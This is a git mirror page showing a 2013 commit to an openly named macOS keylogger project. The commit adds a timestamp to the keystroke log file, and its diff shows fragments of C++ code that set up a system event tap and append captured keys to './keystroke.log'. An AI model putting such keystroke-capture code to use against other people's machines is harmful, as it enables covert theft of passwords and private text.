1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00

Add timestamp to logfile on log begin.

This commit is contained in:
Casey Scarborough 2013-09-16 20:02:06 -04:00
parent f6a7cbe93f
commit 858b38dad3
2 changed files with 6 additions and 2 deletions

View File

@ -15,9 +15,10 @@ int main(int argc, const char *argv[]) {
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true);
const char *logfileLocation = "./keystroke.log";
time_t result = time(NULL);
logfile = fopen(logfileLocation, "a");
fprintf(logfile, "Keylogging has begun.\n");
fprintf(logfile, "\n\nKeylogging has begun.\n%s\n\n", asctime(localtime(&result)));
fflush(logfile);
cout << "Logging to: " << logfileLocation << endl;

View File

@ -3,6 +3,7 @@
#include <iostream>
#include <stdio.h>
#include <ctime>
#include <ApplicationServices/ApplicationServices.h>
#include <Carbon/Carbon.h>
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
@ -10,6 +11,8 @@
using namespace std;
FILE *logfile = NULL;
const char *logfileLocation = "./keystroke.log";
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
const char *convertKeyCode(int);